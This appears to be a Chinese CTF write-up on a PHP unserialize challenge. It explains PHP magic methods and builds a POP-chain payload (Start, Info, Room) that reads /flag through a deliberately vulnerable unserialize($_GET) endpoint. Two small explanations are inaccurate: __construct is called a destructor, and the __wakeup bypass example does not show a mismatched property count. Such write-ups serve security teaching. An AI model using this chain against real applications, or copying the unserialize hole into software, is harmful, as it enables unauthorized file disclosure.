0x00 賽題復現
敏感目錄掃描得到www.zip
<?php
error_reporting(1);
class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';
public function __construct(){
echo "I think you need /etc/hint . Before this you need to see the source code";
}
public function _sayhello(){
echo $this->name;//new Info()
return 'ok';
}
public function __wakeup(){
echo "hi";
$this->_sayhello();
}
public function __get($cc){
echo "give you flag : ".$this->flag;
return ;
}
}
class Info
{
private $phonenumber=123123;
public $promise='I do';
public function __construct(){
$this->promise='I will not !!!!';
return $this->promise;
}
public function __toString(){
return $this->file['filename']->ffiillee['ffiilleennaammee'];//new Room();
}
}
class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';
public function __get($name){
$function = $this->a;//new Room()
return $function();
}
public function Get_hint($file){
$hint=base64_encode(file_get_contents($file));
echo $hint;
return ;
}
public function __invoke(){//當指令碼嘗試將物件呼叫為函式時觸發
$content = $this->Get_hint($this->filename);
echo $content;
}
}
if(isset($_GET['hello'])){
unserialize($_GET['hello']);
}
?>
程式碼審計
觀察程式碼可以發現使用了很多用於序列化的魔術方法,比如__invoke,__get,__construct,__wakeup函式。如果不瞭解這些函式的用法,理解這整個流程還是比較困難的。
首先是對每個方法的呼叫方式進行介紹。
__invoke函式 - 以呼叫函式的方式呼叫物件時,該函式執行 適用於php版本大於5.3.0
舉個例子
程式碼
<?php
highlight_file('invoke.php');
class Student
{
public $id;
public $name;
public $sex;
public function __invoke(){
echo 'do not do this';
}
}
$a=new Student;
$a();
執行結果
當類物件作為函式執行時 會自動呼叫原類中的__invoke方法
__get函式 - 用來獲取私有成員屬性值的,有一個引數,引數傳入你要獲取的成員屬性的名稱,返回獲取的屬性值
<?php
highlight_file("get.php");
程式碼
class Person
{
public $sex='Porn';
public $name='HUB';
private $ty='666';
public function __get($name){
return '呼叫成功'.$name;
}
}
$p=new Person;
echo $p->sex;
echo $p->st;
執行結果
可以看到當呼叫一個不存在的屬性時,會自動呼叫__get方法。
__construct函式 -解構函式,在建立物件時觸發,有點像建構函式。
程式碼
<?php
highlight_file("construct.php");
class Person
{
public $name;
public $age;
public function __construct($name,$age){
$this->name=$name;
$this->age=$age;
}
}
$t=new Person("hacker","11");
echo $t->name;
執行結果
wakeup函式 - 在反序列化過程中,如果存在wakeup函式會優先呼叫wakeup函式
繞過wakeup方法很簡單,定義變數時 定義的變數數大於存在的變數數即可
<?php
highlight_file("wakeup.php");
class Person
{
public $name;
public $age;
public function __construct($name,$age){
$this->name=$name;
$this->age=$age;
}
public function __wakeup(){
echo 'hacker!!!';
}
}
$t=new Person("hacker","11");
echo unserialize('O:6:"Person":2:{s:4:"name";s:6:"hacker";s:3:"age";s:2:"11";}');
成功繞過
構造該題EXP
先進行測試
發現我們的序列化字串 傳過去後 能夠通過 Start 類中的_sayhello() 進行輸出
這裡因為沒有原題環境 小改一下
<?php
error_reporting(1);
highlight_file('unserialize.php');
class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';
public function __construct(){
echo "I think you need /etc/hint . Before this you need to see the source code";
}
public function _sayhello(){
echo $this->name;//new Info()
return 'ok';
}
public function __wakeup(){
echo "hi";
$this->_sayhello();
}
public function __get($cc){
echo "give you flag : ".$this->flag;
return ;
}
}
class Info
{
private $phonenumber=123123;
public $promise='I do';
public function __construct(){
$this->promise='I will not !!!!';
return $this->promise;
}
public function __toString(){
return $this->file['filename']->ffiillee['ffiilleennaammee'];//new Room();
}
}
class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';
public function __get($name){
$function = $this->a;//new Room()
return $function();
}
public function Get_hint($file){
//$hint=base64_encode(file_get_contents($file));
$hint="flag={agwasagaa1yaga}"; //我們只要輸出這個就算成功
echo $hint;
return ;
}
public function __invoke(){ //當指令碼嘗試將物件呼叫為函式時觸發
$content = $this->Get_hint($this->filename);
echo $content;
}
}
if(isset($_GET['hello'])){
unserialize($_GET['hello']);
}
?>
根據程式碼可以知道 真正需要進行輸出的是第三個類,我們必須想辦法,讓我們的第一個類裡包含到第三個類。
這裡注意到第三個類裡面有一個get函式,怎麼利用呢?
如果通過Start類直接去呼叫Room類,那麼get方法不會觸發,不行。
如果自己去構造的話是沒法讓構造的類自己去執行裡面的方法的。 因為畢竟最後需要通過invoke方法進行輸出,而invoke方法需要被當成函式去呼叫時才會執行。
反序列化被解析時 時 從最外面的類一直跟進到裡面的類。
我們進行序列化字串分析時,可以從後往前推進。
這裡主要思路是通過第一個類 把第三個類裡的關鍵資訊帶出來。
所以先對第三個類進行分析。
首先是__invoke方法的呼叫,必須存在類物件被當作函式呼叫才能執行invoke函式,而顯然我們不能把呼叫類物件的程式碼進行序列化代入進去。
所以我們需要找哪裡將類物件當成函式執行,
直接跟進到
get方法實現了將$this->a作為函式執行,說明我們只需要讓$this->a作為一個類物件就行了因為是要呼叫Room類的invoke 所以$this->a=new Room();
但是要滿足這個條件之前,我們需要先滿足get方法,而get的條件是呼叫不存在的變數時被執行。 哪裡能有不存在的變數?
可構造
$b=new Info;
$c=new Room;
$b->file['filename']=$c
然後如果我們呼叫了Info類,則會自動呼叫__toString方法,方法被執行時,這時$c->ffiillee['ffiilleennaammee'] 並不存在,返回前會執行 $c裡的get方法,而執行get方法時,$this->a為類物件,然後被當作函式執行,呼叫invoke函式執行。
最後我們通過Start類中的name變數將Info的返回值帶出來顯示在頁面上。
所以可構造最後的exp;
<?php
class Start{} // 空類
class Info{} // 空類
class Room{
public $filename="/flag"; //因為gethint函式需要引數,所以構造的時候不能少了這個變數
}
$a=new Start;
$b=new Info;
$c=new Room;
// 構造a
$c->a=new Room; //將類物件放到c類物件中的a裡儲存.
$b->file['filename']=$c; //將c類賦值到b類的file['filename']屬性中 確保get執行.
$a->name=$b; //將執行後的結果賦值到a類中的name屬性
echo serialize($a); //序列化
?>